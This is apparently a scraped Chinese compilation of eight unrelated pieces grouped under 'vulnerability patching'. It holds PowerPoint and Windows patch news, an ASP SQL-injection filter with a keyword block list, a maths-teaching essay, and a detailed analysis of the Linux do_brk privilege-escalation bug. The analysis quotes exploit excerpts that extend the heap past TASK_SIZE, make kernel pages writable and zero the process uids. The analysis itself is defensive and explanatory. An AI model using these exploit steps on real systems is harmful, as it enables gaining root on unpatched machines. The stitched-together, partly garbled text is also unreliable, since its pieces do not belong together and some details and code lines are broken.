微软修补PowerPoint漏洞(（锦集8篇））由网友“小家电爱好者”投稿提供，下面是小编给大家带来的微软修补PowerPoint漏洞，以供大家参考，我们一起来看看吧!
篇1：微软修补PowerPoint漏洞
微软修补PowerPoint漏洞:
微软发布了5月的安全公告，其中包含一个安全更新，修补之前被人熟知的PowerPoint缓冲区溢出和远程控制漏洞，
这个安全更新解决了微软OfficePowerPoint中一个公开披露的漏洞和多个秘密报告的漏洞，如果用户打开特制的PowerPoint文件，则该漏洞可能允许远程执行代码，
攻击者可以利用这些漏洞完全控制受影响的系统，随后可安装程序，查看、更改或删除数据，甚至创建拥有完全用户权限的新帐户。如果用户的帐户被配置为拥有较少系统用户权限，则比具有管理用户权限的用户受到的影响要小。
篇2： 针对微软PowerPoint新漏洞发起了攻击
不久前， 正在针对微软PowerPoint的新漏洞发起攻击，微软对此发布了警告，
针对微软PowerPoint新漏洞发起了攻击
，
此次的PowerPoint漏洞涉及OfficeSP3、SP3和SP3，微软在一份安全建议报告中表示，目前只是有限的、针对性的攻击正在尝试使用这一漏洞。
篇3：微软：不一样的PowerPoint
微软的下一代办公软件Office 2010中出现了大量的功能改进和完善，具体到每一个组件来说，PowerPoint就在很多图像功能方面进行了革新，PowerPoint团队表示，新一代的PowerPoint将为用户提供一个形象化自己想法、具体化自己创意的更好平台，
在PowerPoint 2010中，Slide Show幻灯片演示功能进行了十年来最大的改进，PowerPoint的图形引擎使用DirectX进行了重建，幻灯片中的所有内容（文字、图像、动画等等）也将利用计算机的显卡进行全3D渲染，
微软PowerPoint团队指出了下一代产品的几个主要改进方面：
-硬件完全加速的渲染引擎；
-新的过渡效果和一个升级的用户界面；
-修改后的动画效果和全新的用户界面（时间线）；
-Animation Painter（在对象间复制动画）；
-编排多媒体动画。
篇4：＂or＂=＂or＂密码漏洞修补方法
方法1: Replace过滤字符
解决方法:查找login.asp下的 pass=request.Form(”pass”) 修改为：username=Replace(request.Form(”name”), “’”, “’’”) pass=Replace(request.Form(”pass”), “’”, “’’”) 语法是屏蔽’和’’字符来达到效果. 方法2：在conn.asp 内加入 注前提 登陆页面有) 把以下代码保存为safe.asp 程序代码 <% Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name Err_Message = 3 Err_Web = “safe.htm” ’出错时转向的页面 Query_Badword=”’|and|select|update|chr|delete|%20from|;|insert|mid|master.|set|chr(37)|=” ’在这部份定义get非法参数,使用”|”号间隔 Form_Badword=”’|(|)|;|=” ’在这部份定义post非法参数,使用”|”号间隔 On Error Resume Next if request.QueryString”“ then Chk_badword=split(Query_Badword,”|”) FOR EACH Query_Name IN Request.QueryString for i=0 to ubound(Chk_badword) If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))0 Then Select Case Err_Message Case “1″ Response.Write “alert(’传参错误！参数 “&name&” 的值中包含非法字符串！nn请不要在参数中出现：and update delete ; insert mid master 等非法字符！’);window.close;” Case “2″ Response.Write “location.href=’”&Err_Web&”’” Case “3″ Response.Write “alert(’传参错误！参数 “&name&”的值中包含非法字符串！nn请不要在参数中出现：and update delete ; insert mid master 等非法字符！’);location.href=’”&Err_Web&”’;” End Select Response.End End If NEXT NEXT End if if request.form”” then Chk_badword=split(Form_Badword,”|”) FOR EACH name IN Request.Form for i=0 to ubound(Chk_badword) If Instr(LCase(request.form(name)),Chk_badword(i))0 Then Select Case Err_Message Case “1″ Response.Write “alert(’出错了！表单 “&name&” 的值中包含非法字符串！nn你的非法操作已记录,请马上停止非法行为！’);window.close();” Case “2″ Response.Write “location.href=’”&Err_Web&”’” Case “3″ Response.Write “alert(’出错了！参数 “&name&”的值中包含非法字符串！n谢谢您光临！,请停止非法行为！’);location.href=’”&Err_Web&”’;” End Select Response.End End If NEXT NEXT end if %>
篇5：windows和exchange本周修补大漏洞Windows漏洞
微软计划在本周二的每月例行更新发出3个安全快报，修补windows和exchange的瑕疵，
微软公司4日的网站公告指出，exchange邮件服务器和至少一个windows警报，被列为“重大”(critical) --该公司最高的风险等级。
这类瑕疵通常不需使用者采取任何行动，或只需最低程度的互动，即可造成系统全面受损。
微软并未透露总共将解决多少瑕疵，也未说明是哪些 windows和exchange元件需要修补。过去几周，安全研究员曾通报好几个未修补的ie浏览器瑕疵。
上个月，微软发出5个安全快报，其中3个已有民众通报使用问题，迫使微软在两次例行更新之间，重新发布一个修改过的补救方案，
周二（9日），微软也计划推出更新版的windows malicious software removal tool（恶意软件卸载工具）。该软件可侦测并卸载一般性恶意软件。
对于下周的例行更新，微软并未提供更详尽的信息，仅表示下载修补程序后，可能需要重开电脑。微软在例行更新前都会发出通知，以便使用者作好下载和安装准备。
微软将在美西时间10日上午11点播放网络视频说明。
关 键 字：Windows漏洞
篇6：Brk漏洞分析和修补漏洞预警
brk漏洞分析
有点out of date乐：（
希望对大家还能有点用，。。
Brk漏洞分析
by icbm@0x557
1.brk漏洞背景
2.漏洞原理分析
3.漏洞利用分析
4.该漏洞引发的思考
Brk漏洞分析
1.brk漏洞背景
2.漏洞原理分析
3.漏洞利用分析
4.该漏洞引发的思考
前言：
11月21日在Full-Disclosure邮件列表里收到一封Debian Linux安全小组发来的题目为“Some Debian Project machines have been compromised”的安全公告。该安全公告中提到Debian多台服务器被入侵，令人奇怪的是其中并没有提到任何被入侵的细节只是说过几天后会公布对被入侵主机的取证结果。这个公告引起了我们极大兴趣，因为Debian Linux的安全性是非常好的，攻击者肯定使用了一些未知漏洞获取了管理员权限，几天后终于获悉攻击者使用的就是本文将要分析的漏洞do_brk边界检查不充分导致本地权限提升漏洞。因为这种漏洞对系统产生的影响非常罕见，所以我们甚至可以定义此漏洞为一种新的漏洞类型。在下面的篇幅中我们就此漏洞的背景，成因，利用方法展开讨论。
1.brk漏洞背景
在分析该漏洞前先来看看它的一些背景资料，说不定我们可以从这些背景资料中能发现一些有用东西：）
其实这个brk漏洞在今年9月份就被Linux内核开发人员发现，并在9月底发布的Linux kernel 2.6.0-test6中就对该漏洞作了修补。奇怪的是Linux Kernel开发人员可能认为这个漏洞并不是什么严重问题，所以对该漏洞的发现修补未作任何安全公告，如此轻率的处理安全漏洞的举动使Linux系统管理员完全没有注意到此漏洞的存在更不要说对系统修补此漏洞了。同时在9月底的时候，isec的Paul (IhaQueR) Starzetz 也发现了此漏洞，isec对此漏洞进行了详细地分析并且对此漏洞的攻击方法作了深入的研究，写出了brk漏洞非常稳定且有效的攻击程序。因为攻击程序的泄漏，所以使攻击者利用此攻击程序获取了Debian的多台服务器管理员权限。11月28日Linux内核推出了2.4.23版本中才修补了此漏洞,至此经过了两个多月此漏洞才被在Linux稳定版本内核中修补。
2.漏洞原理分析
在分析此漏洞之前我们先来简单介绍一下Linux内存管理方面的知识。
在Linux中每一个进程都可以访问0-4G的虚拟线性内存地址，而其中0-3G（0xc0000000）为用户空间,用户进程可以访问其中任何一个地址。这个最大值（0xc0000000）在Linux中通常被定义为TASK_SIZE，这个值也就是用户空间所能访问的极限。从3G-4G的虚拟内存地址空间为内核态地址空间，其中存放的数据由所有进程共享但只能由内核访问，用户进程不能访问。用户进程可以通过中断或者系统调用使操作系统的用户态切换到内核态来访问内核态数据。如果读者想进一步了解Linux内存管理方面的知识可以阅读参考1。
Ok,现在我们有了Linux内存管理的一些概念后，大家可以大胆的设想一下：如果我们可以通过某些操作（或者某些Linux操作系统中的漏洞）来突破这个TASK_SIZE的限制将会出现什么情况呢？嗯，对了，这时候我们就可以访问到内核中敏感的数据，通过对这些敏感数据的操作就可以获得系统的最高权限。
然后让我们回到这次讨论的brk漏洞中，该漏洞被发现于brk系统调用中。brk系统调用可以对用户进程的堆的大小进行操作，使堆扩展或者缩小。我们先来看一下从Linux内核源代码中抽取的系统调用sys_brk的部分源代码。
--------------------[linux/mm/mmap.c line:147]----------------------------------------------
asmlinkage unsigned long sys_brk(unsigned long brk)
{
unsigned long rlim, retval;
unsigned long newbrk, oldbrk;
struct mm_struct *mm = current->mm;
down_write(&mm->mmap_sem);
if (brk < mm->end_code)
goto out;
newbrk = PAGE_ALIGN(brk);
ldbrk = PAGE_ALIGN(mm->brk);
if (oldbrk == newbrk)
goto set_brk;
/* Always allow shrinking brk. */
if (brk <= mm->brk) {
if (!do_munmap(mm, newbrk, oldbrk-newbrk))
goto set_brk;
goto out;
}
......
/* Ok, looks good - let it rip. */
if (do_brk(oldbrk, newbrk-oldbrk) != oldbrk) //这里可以看到真正对堆进行操作的是do_brk()函数
goto out;
set_brk:
mm->brk = brk;
out:
retval = mm->brk;
up_write(&mm->mmap_sem);
return retval;
--------------------[linux/mm/mmap.c end]-----------------------------------------------------
大家看了系统调用sys_brk的源代码后可以发现其实它内部是调用了do_brk()函数来对堆进行操作，让我们再来看一下do_brk()函数的源代码来看看这个bug真正是怎么产生的；）
--------------------[linux/mm/mmap.c line:1033]----------------------------------------------
unsigned long do_brk(unsigned long addr, unsigned long len)
{
struct mm_struct * mm = current->mm;
struct vm_area_struct * vma, * prev;
unsigned long flags;
rb_node_t ** rb_link, * rb_parent;
len = PAGE_ALIGN(len);
if (!len)
return addr;
/*
* mlock MCL_FUTURE?
*/
if (mm->def_flags & VM_LOCKED) {
unsigned long locked = mm->locked_vm << PAGE_SHIFT;
locked += len;
if (locked > current->rlim[RLIMIT_MEMLOCK].rlim_cur)
return -EAGAIN;
}
/*
* Clear old maps. this also does some error checking for us
*/
munmap_back:
vma = find_vma_prepare(mm, addr, &prev, &rb_link, &rb_parent);
if (vma && vma->vm_start < addr + len) {
if (do_munmap(mm, addr, len))
return -ENOMEM;
goto munmap_back;
}
/* Check against address space limits *after* clearing old maps... */
if ((mm->total_vm << PAGE_SHIFT) + len
> current->rlim[RLIMIT_AS].rlim_cur)
return -ENOMEM;
if (mm->map_count > max_map_count)
return -ENOMEM;
if (!vm_enough_memory(len >> PAGE_SHIFT))
return -ENOMEM;
flags = VM_DATA_DEFAULT_FLAGS | mm->def_flags;
/* Can we just expand an old anonymous mapping? */
if (rb_parent && vma_merge(mm, prev, rb_parent, addr, addr + len, flags))
goto out;
/*
* create a vma struct for an anonymous mapping
*/
vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
if (!vma)
return -ENOMEM;
……
}
/* Build the RB tree corresponding to the VMA list. */
void build_mmap_rb(struct mm_struct * mm)
{
struct vm_area_struct * vma;
rb_node_t ** rb_link, * rb_parent;
mm->mm_rb = RB_ROOT;
rb_link = &mm->mm_rb.rb_node;
rb_parent = NULL;
for (vma = mm->mmap; vma; vma = vma->vm_next) {
__vma_link_rb(mm, vma, rb_link, rb_parent);
rb_parent = &vma->vm_rb;
rb_link = &rb_parent->rb_right;
}
}
--------------------[linux/mm/mmap.c end]----------------------------------------------
从上面的代码中我们可以看到do_brk()函数在调整进程堆的大小时没有对参数len进行任何检查也没有对addr+len是否超过TASK_SIZE做检查。这样我们就可以向它提交任意大小的参数len，使用户进程的大小任意改变以至可以超过TASK_SIZE的限制使系统认为内核范围的内存空间也是可以被用户访问的，这样的话普通用户就可以访问到内核的内存区域。
好了，现在我们分析了为什么这个do_brk()出现这样的漏洞，也讨论了这个漏洞会产生什么影响，但是我们更关心的是如果让我们访问内核的内存区域，我们要做些什么工作，我们可以获得什么信息，怎样修改内核中的信息才能提升我们的权限？接下来让我们把目标放在对此漏洞的利用上。
3.漏洞利用分析
Debian服务器被攻击后很多安全专家都在研究讨论brk漏洞，从上面背景材料中知道刚开始内核开发人员发现该漏洞时并未及时作出修补也没有进行任何公告，其中一个原因就是这种类型的漏洞非常罕见，可能算是一种新型的漏洞吧。对这种可以扩展用户可访问内存区域到内核的内存区域的漏洞在以前并没有被广泛的研究讨论过，而且对这种漏洞产生的影响并不能被很直接的观察到。还有就是，这种漏洞的可利用性也从来没有被证实过，而且此漏洞产生的影响在内核中，利用这种漏洞的方法不像在Linux下利用缓冲区漏洞那样直接，会涉及到很多方面，更增加了利用此漏洞的困难。而isec却敏锐地观察到此漏洞对Linux内核安全的严重危害性，在对这种新漏洞类型的利用方面作了深入地研究，并且研究出了几种使利用这种漏洞成为可能并且提高了攻击程序稳定性的技术，12月初他们发布了关于此漏洞利用方法的详细分析与攻击程序。11月底时我们与HD Moore深入地讨论了关于此漏洞的利用方法与可能性，提出了一些利用此漏洞想法与疑问，因为isec发布的文档完美的回答了我们的这些问题，在这篇文档中就以我们提出的疑问为线索来描述这种新的类型漏洞的攻击技术。
问题1：
因为当时在bugtraq上发布了一个关于此漏洞poc代码，但此poc代码并不是直接利用do_brk()函数来触发此漏洞而是利用一个被构造的畸形elf文件来触发了此漏洞，经过我们讨论认为直接使用do_brk()系统调用要比使用构造的elf文件来触发此漏洞更为简单，接下来的问题就是怎么使用brk系统调用来触发此漏洞。
问题2：
怎么向扩展的内存区域写入数据，当时测试了几种方法都不成功，当时HD Moore认为绝对可以向内核区域中写入4个字节。我提出是否能直接使用ptrace来读些该被扩展的内存区域，但是测试了一下不知道什么原因没有成功。
问题3：
如果我们可以向内核里写入数据，我们想要写些什么东西？向哪里写？与kkqq讨论的结果是最简单的方法就是找到current然后直接uid=0;确实好方法。但是我们要怎么找到udi,gid,euid呢？
问题4：
因为当用户进程内存区域被扩展到内核内存区域时，系统就会认为这一部分内核区域也是用户进程内存区域的一部分，所以当进程退出时或者被中断退出时，系统就会释放这一部分内存这样就会破坏这一块内核内存区域使系统崩溃。所以怎样保证利用此漏洞时保持系统本身的稳定性也是一个问题。
下面让我们看看isec利用什么样的技术来解决这些难题的：
问题1的解决方法：
因为使用brk漏洞扩展进程的内存范围时，这个内存范围内不能有任何已经被映射过的内存。但是大家知道进程的堆栈地址范围就是在TASK_SIZE下方，想要使用brk漏洞来突破TASK_SIZE的限制，就得先把这一段内存范围搬离紧挨着TASK_SIZE的地方，怎么做呢？
就是给进程重新分配一个堆栈起始的地址，从isec提供的exp中我们可以看到：
void remap(void)
{
static char stack[8 MB]; /* new stack */
……
asm (“movl %0, %%espn” : : “a” (stack + sizeof(stack)));//cool, get a new stack. movl statck+8M, %esp
b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;
if (munmap((void*)b, task_size - b) == -1)
fatal(“Unable to unmap stack”);
……
}
首先分配了一个8MB的静态空间，然后把stack+8MB的地址放到esp中让堆栈指针指向着新的内存空间，这就是此进程获得一个新的堆栈，
然后再unmap掉一段内存，这样就使我们可以使用这个漏洞来把地址扩展到TASK_SIZE以上。因为不能用brk系统调用一次就超过TASK_SIZE的限制，可以使用sbrk()来一次一小段的方法来越过这个TASK_SIZE。
/*critical code here, exploit the brk vul*/
void expand(void)
{
unsigned top = (unsigned) sbrk(0);//可以用sbrk(0)获得当前heap地址
unsigned limit = address + PAGE_SIZE;
do {
if (sbrk(PAGE_SIZE) == NULL) //每次扩展4k大小的内存区域
fatal(“Kernel seems not to be vulnerable”);
dontexit = 1;
top += PAGE_SIZE;
} while (top < limit);
}
Ok,我们知道怎么触发此漏洞后接着来看看向刚才获得的这块大于TASK_SIZE的内存区域写数据。
问题2的解决方法：
看了isec对该漏洞利用方法的描述后，发现以前我们讨论的使用ptrace的方法也是可行的，但是忽略了一点普通用户进程因为权限不够还是不能访问kernel的页，需要改变这些内核使用的内存页面的属性。我们可以使用mprotect()系统调用为我们完成这个工作。
void knockout(void)
{
unsigned * addr = (unsigned *) address;
if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1) //把addr指的页的属性改变成可读写。
fatal(“Unable to change page protection”);
……
}
这样我们就可对改内核页面进行读写操作了。
问题3的解决方法：
现在我们可扩展进程的内存范围超过TASK_SIZE而且也修改了内核页的属性为可读写。接下来我们要解决的问题是怎么获得内核的运行权限来修改内核中的页面。Isec使用的一种方法就是通过使用ldt中的调用门来获得从普通用户权限到内核权限的转换。但是怎么找到进程中ldt的地址呢？可以通过扫描ldt表为分配与分配后的内存被映射的情况来找到ldt的准确地址。具体代码如下：
void find(unsigned * m)
{
unsigned addr = task_size;
unsigned bit = 1;
unsigned count;
unsigned tmp;
prepare();
tmp = address = count = 0U;
while (addr < TOP_ADDR) {
int val = testaddr(addr);//使用asm (“verr (%%eax)” : : “a” (addr));来判断该页是否被映射
if (val == MAP_ISPAGE && (*m & bit) == 0) {//如果此页为已映射而且最后位不为1 if (!tmp) tmp = addr;
count++;//计算被映射页面数字
} else {
if (tmp && count == LDT_PAGES) {
errno = EAGAIN;
if (address)
fatal(“double allocationn”);
address = tmp;
}
tmp = count = 0U;
}
addr += PAGE_SIZE;
next(m, bit);
}
signal(SIGSEGV, SIG_DFL);
if (address)
return;
errno = ENOTSUP;
fatal(“Unable to determine kernel address”);
}
因为前面map()函数已经把这一段内存区域中的每一个页的最后一位置1，所以当ldt表被分配后ldt表占用的内存页都没有做标记这样就可以找到ldt表的准确位置。关于ldt与调用门的详细内容读者可以阅读参考2。
现在通过调用门我们就可以修改内核中的任意内容了，可是修改kernel的那些数据结构才能使我们提升权限呢？嗯，其实就像前面提到的如果能直接改写uid就可以了，现在我们面临的困难就是如何找到它。让我们来看看isec的exp中使用的方法：
asmlinkage void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;//这个while用来寻找我们要改写的uid地址
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
addr[8] = 0;
……
}
这里我们可以看到这段代码就是在内存中寻找uid, euid,suid,fsuid都与getuid()相等的内存地址，然后把uid, euid,suid,fsuid,gid,egid,sgid,fsgid都改成0，这样该进程就获得了超级用户权限，因为euid等值也被修改了所以用execve()系统调用调用的进程也会有超级用户权限。
4.该漏洞引发的思考
现在让我们看一下该漏洞产生的影响，因为Linux内核开发人员未对此漏洞做及时的公告，因此很多管理员并不清楚此漏洞的危害性（当然，Debian被攻击以后肯定大家都应该知道这个漏洞了吧：）而且在漏洞未公告前攻击程序已经被大规模的泄漏，irc里已经有很多人在讨论攻击程序的使用方法了，这种攻击者已经获得攻击程序而管理员却连漏洞都不知道的情况下严重的威胁到了使用Linux系统用户的安全性。因为对此漏洞轻率地处理，从而产生这样的结果。我们可以从这个时事件上学习到，对系统中任何漏洞都不能掉以轻心。另外，因为此漏洞是一种新型的漏洞，对这种漏洞的研究与发现并没有完全展开，所以，这种类型的漏洞很有可能在系统内核中再次被发现。其他系统内核也可能会存在同样类似问题。当大家看完这篇文章后，下次再遇到同样的漏洞时，就不会再有陌生的感觉了，说不定发现下一个漏洞的就是你。
最后，祝大家在新的一年内玩“虫”愉快！
brk修补
前言：
这个brk漏洞在今年9月份就被Linux内核开发人员与一些安全人员发现，但是内核开发人员却忽略了该漏洞的危害性使广大Linux管理员根本没有察觉该漏洞，致使该漏洞在攻击者对Debian与Gentoo的攻击行动中扮演了重要角色。关于该漏洞的详细描述信息清参阅本期的另一篇文章。因为对该漏洞的攻击代码已经大规模公开，所以严重的影响到了Linux系统的安全性。在这么严峻的情况下你的系统打补丁了吗？
前言：
这个brk漏洞在今年9月份就被Linux内核开发人员与一些安全人员发现，但是内核开发人员却忽略了该漏洞的危害性使广大Linux管理员根本没有察觉该漏洞，致使该漏洞在攻击者对Debian与Gentoo的攻击行动中扮演了重要角色。关于该漏洞的详细描述信息清参阅本期的另一篇文章。因为对该漏洞的攻击代码已经大规模公开，所以严重的影响到了Linux系统的安全性。在这么严峻的情况下你的系统打补丁了吗？
brk漏洞是一个危害非常严重的本地漏洞，因为这种漏洞是一种新型的漏洞可以绕过缓冲区溢出的补丁和一些内核安全增强内核补丁，导致攻击者只要可以拿到任何本地用户的访问权限就可以在2.4.23内核以下的Linux系统上取得管理员权限。所以说最好的防御就是不让攻击者拿到任何可以访问本地系统的权限，但是这是最理想的情况。如果我们必须要为用户提供一些本地的访问权限或者系统上用户很多很有可能被攻击者获得一个本地的账号，所以给系统打补丁还是非常必要的。
接下来我们从多个方面来讨论三种针对该漏洞的修补方案，希望读者可以从下面的方案中找到合适自己的方案：
第一种方案：
最根本的方法就是直接升级内核到2.4.23，这样可以修补这个brk漏洞，可以在www.kernel.org下载2.4.23的完整源代码或者直接下载2.4.23的补丁包www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.23.bz2）。虽然这种方法看上去好像很简单其实管理员还是需要考虑到很多因素，比如说兼容性问题，因为内核改动后内核中的一些数据结构被改变了一些特定的硬件驱动就会不兼容，还有升级新的内核后要考虑到一些应用是否还能正常运行。还有一些情况就是如果这样升级内核就需要重新编译并配置内核，然后需要重新启动机器以便以新的内核引导系统，这样就使得这种方案对管理员带来了更多的麻烦。
方案一总结：最根本的解决方案，如果没有兼容性的问题与管理的问题这个应该是解决这个漏洞的最佳方案。
第二种方案：
这种方案可以避免一些兼容性的问题，就是patch原来的内核中有漏洞的源代码。从代码方面来看要修补该漏洞其实很简单只需在mmap.c中的do_brk()里加入几行对参数判断的语句，检查参数是否为正常值如果不是则返回个-EINVAL：
if ((addr + len) > TASK_SIZE || (addr + len) < addr){ /* 检查是否超过了TASK_SIZE 的边界或者len值是否为负数*/
printk(“caught do_brk exploit!!!n”);
return -EINVAL;
}
这种直接修改内核源代码的方案使当前服务器上运行的应用或者服务器硬件没有了兼容性的麻烦，不过还是要重新编译配置内核并重新启动机器以便使用新的内核所以并没有减轻管理上的麻烦。
方案二总结：
该方案因为只是在原有内核的基础上修补了有漏洞的代码，这样就使修补该漏洞而没有兼容性的麻烦，如果用户害怕兼容性方面的问题可以选择该方案。
第三种方案：
这种方案的目标是为了达到”on the fly”的效果，就是在不重新启动服务器的情况下动态的给系统打补丁。其实就是使用一些lkm的技术寻找所有do_brk的调用（call或者jump）并把有漏洞的do_brk的地址替换为我们自己的修补过得my_brk。在my_brk()中我们首先判断输入参数是否正确,如果正确则调用原来的do_brk()，其实这种方法就像一些内核后门替换了系统调用，让我们看一下该补丁的源代码：
unsigned long my_brk(unsigned long addr, unsigned long len)
{
len = PAGE_ALIGN(len);
if (!len)
return addr;
if ((addr + len) > TASK_SIZE || (addr + len) < addr){ /* 检查是否超过了TASK_SIZE 的边界或者len值是否为负数*/
printk(“caught do_brk exploit!!!n”);
return -EINVAL;
}
return do_brk(addr,len); /*调用原有的do_brk()*/
}
上面这几句就是我们新的do_brk()函数my_brk(),下面让我们简单看看这个补丁是怎么寻找内核中所有调用do_brk的地方并把它替换的：
ptr=(unsigned char *)(do_brk); /* 首先获得do_brk的地址 */
newptr=(unsigned char *)(my_brk); /* my_brk的地址*/
for (cptr=start;cptr if (*cptr==0xe8||*cptr==0xe9){ /* 判断是否为0xe8或者0xe9就是call或者jump*/
cptr++;
lptr=(long *)cptr;
cptr+=4;
if ((cptr+*lptr)==(ptr)){ /* 是否指向do_brk*/
printk(“fixing 0x%08lxn”,lptr); /*如果是覆盖为新的my_brk */
*lptr=(newptr-cptr);
方案三总结：
该方案可以”on the fly”的为内核打补丁不需要重新下载新的内核，也不需要重新编译配置内核只需要把该补丁模块insmod到内核中就行了（该模块见附带光盘），虽然这个方案有这么多好处但是还是有一些问题需要注意，加了此模块后可能会影响系统的稳定性而且肯定会降低系统的运行速度。
以上就是我们从兼容性，易升级性，系统稳定性等多个方面探讨了给大家推荐的三种方案，我想其中肯定有一款适合你：）希望读者从中能学习到给Linux系统打补丁的一些知识，使大家能看懂系统补丁是怎么修补系统的，这样以后就可以提高系统整体的安全性。
篇7：高中数学知识漏洞修补探讨论文
摘要：进入高中以后，数学学习的难度越来越大，系统性越来越强，一些初中阶段没有打牢基础的学生会感觉到越来越吃力，知识漏洞会越来越大，数学成绩的提升也越来越艰难。为此，本文从高中数学学习特点入手，对高中数学知识漏洞修补的必要性进行分析，并就高中数学教学中如何进行知识漏洞的修补展开论述，以供参考。
关键词：高中数学；知识漏洞；系统性；后续学习
数学是一个完整的知识体系，缺乏其中的任何一个环节的知识，都难以实现数学学习的整体提升。尤其是到了高中阶段，知识的漏洞更是应该及时弥补，只有这样，才能巩固学生数学学习基础，快速提高数学成绩。
1、高中数学学习特点
高中数学具有系统性强和难度大的特点，而这也是导致部分高中生数学学习水平急速下降的主要原因。
1．1系统性强：高中的数学是由几块相对独立的知识拼合而成（如高一有集合、命题、不等式、函数的性质、指数和对数函数、指数和对数方程、三角比、三角函数、数列等），经常是一个知识点刚学得有点入门，马上又有新的知识出现。因此，高中数学的系统性较强，注意它们内部的小系统和各系统之间的联系成了学习时必须花力气的着力点。
1．2难度加大：高中数学的数学语言更为抽象，比如高一数学一下子就触及非常抽象的集合语言、逻辑运算语言、函数语言、图象语言等，十分难以理解。同时，高中数学的思维方法更趋理性，与初中阶段大不相同，高中数学语言的抽象化对思维能力提出了高要求，这种能力要求的突变使很多高一新生感到不适应。此外，高中数学知识内容急剧增加，单位时间内接受知识信息的量与初中相比增加了许多，所以综合看来，高中数学教学的难度有很大的增强。
篇8：高中数学知识漏洞修补探讨论文
高中数学知识漏洞的修补不仅是完善知识体系的需要，也是学生进行后续学习的需要。
2．1完善知识体系的需要：高中数学与小学数学、初中数学共同构成了一个严密的知识体系，缺了其中任何一个环节，知识体系都是残缺不全的，因此对学生现有的知识漏洞进行修补，是完善知识体系的需要。
2．2进行后续学习的需要：高中阶段涉及到的知识点比较多，容易发生漏洞的地方也是比较多的，如果不及时弥补漏洞，会使接下来的数学学习困难重重。举个简单的例子，在高一数学的第二章第一节指数函数学习过程中，学生对于指数函数的图像、性质与运算掌握不牢固，在后面的第三章函数与方程的学习中，就会十分困难。
3、高中数学教学中如何进行知识漏洞的修补
高中数学教学中，要进行知识漏洞的修补，就要在课堂上注重回顾旧知识，注重强化复习环节，并且充分地利用错题本。
3．1课堂教学注重回顾：课堂回顾时指教师在上完课后，对教学活动进行反思，在总结成功经验的同时，寻找教学中的不足，吸取失败的教学，进而优化自己的教学。在高中数学教学中，帮助学生查漏补缺，教师需要及时对课堂教学活动进行回顾，重新梳理教学过程的各个环节，包括课堂导入、新课讲授、课堂练习，以及课堂小结和布置作业等。尤其是要重点反思新课讲授这一环节，这是课堂教学的重点和难点，关系到了学生对知识的掌握情况，关系到课堂教学效果如何。重要的是，通过回顾，教师可以及时了解到自己的教学活动有无遗漏，如基础知识的讲授是否全面，重点知识的训练是否到位，难点知识的讲解是否详细透彻，并在反思的基础上及时调整教学方法，搜集教学素材，修补知识漏洞，优化教学过程。
3．2注重强化复习环节：复习就是重新学习以前学过的知识，加深印象，使其在脑海中留存的时间更长一些，这表明复习能够深化和巩固知识，其实，这只是复习最基本的功能，通过复习，学生还能够对以前的知识漏洞进行填补，进而梳理和完善自己的知识体系。因此，在高中数学教学中，教师要重视复习环节，因为数学知识的系统性较强，虽然各个章节是独立的，但知识点之间有着密切的联系，因此，教师在复习环节要帮助学生梳理知识脉络，要利用板书对知识点进行罗列、整理和总结，也要鼓励学生动脑动手，列出每一节课的知识点，画出知识框架，理清每个知识点之间的.关系。这样做既能够帮助学生巩固所学知识，也能够使教师了解知识点的讲解是否有遗忘和缺漏，进而及时给学生查缺补漏，使他们更全面、更系统地学习和掌握知识，提高学习水平。
3．3充分地利用错题本：在教学中，教师经常遇到这样的情况：有些题目，即便老师已经讲过了解题方法，学生考试时依然做错。这说明学生在学习中不注意总结，不注意反思，懒惰的思想导致他们不求甚解。因此，不少教师让学生建立错题本，使他们通过错题发现知识盲点和学习误区，寻找做题失误的原因，抓住问题的关键，进而系统化、条理化地解决问题。在高中数学教学中，教师要充分利用学生的错题本来修补教学中知识漏洞，错题本就像一扇窗口、一座桥梁，教师可以通过错题本了解学生解答某个问题时的思路和方法，也能了解他解题过程中暴露出的问题，进而开展有针对性的讲解，弥补学生的不足，解决他们零散、疏漏的问题。此外，教师可以通过批阅学生的错题本找到自己教学中的薄弱环节和存在的问题，进而及时调整自己的教学思路，改进教学方法。
4、结语
进入高中阶段以后，每一门学科的学习难度都大大提高了，在这样一个情况下，学生在学习中就会逐渐产生畏惧情绪，从而为后面的学习与成长造成不利影响。因此，教师应该注重对学生知识漏洞的考查与修补，使学生稳扎稳打地学习每一节内容，基础牢固，学习水平才能有较大的飞跃。
参考文献:
［1］史可富，孙志慧，李冬胜．高效数学学习的学生心理特征模型［J］．数学教育学报，2006（04）．
［2］王光明，刁颖．高效数学学习的心理特征研究［J］．数学教育学报，2009（05）．
［3］马淑杰，连四清，冯汝静，于永涛，王京滔，张秀英，李秀菊，陈福印，乔建华，郭海杰．高中生数学课堂学习效率的个体差异研究［J］．数学教育学报，2009（02）．
★ 微软ie暴无法修补危险漏洞 安全专家暗示放弃Windows漏洞
★ 小学信息技术教案
【微软修补PowerPoint漏洞（锦集8篇）】相关文章：
瑞星防火墙使用心得2023-06-19
小学信息技术第一课文件操作教案2023-02-05
小学信息技术教案：《调整表格》2023-10-31
多媒体课件制作应用设计论文2023-07-01
微软补丁带来新问题著名 提建议2022-09-17
教你打造个人无敌系统全攻略2022-09-03
关于桌面的图标都变成lnk文件如何解决2022-07-19
PHPzendstrtod函数浮点值拒绝服务漏洞及修复2023-01-14
办公自动化论文2023-10-19
微软发布补丁包修正15项安全漏洞Windows安全2023-07-09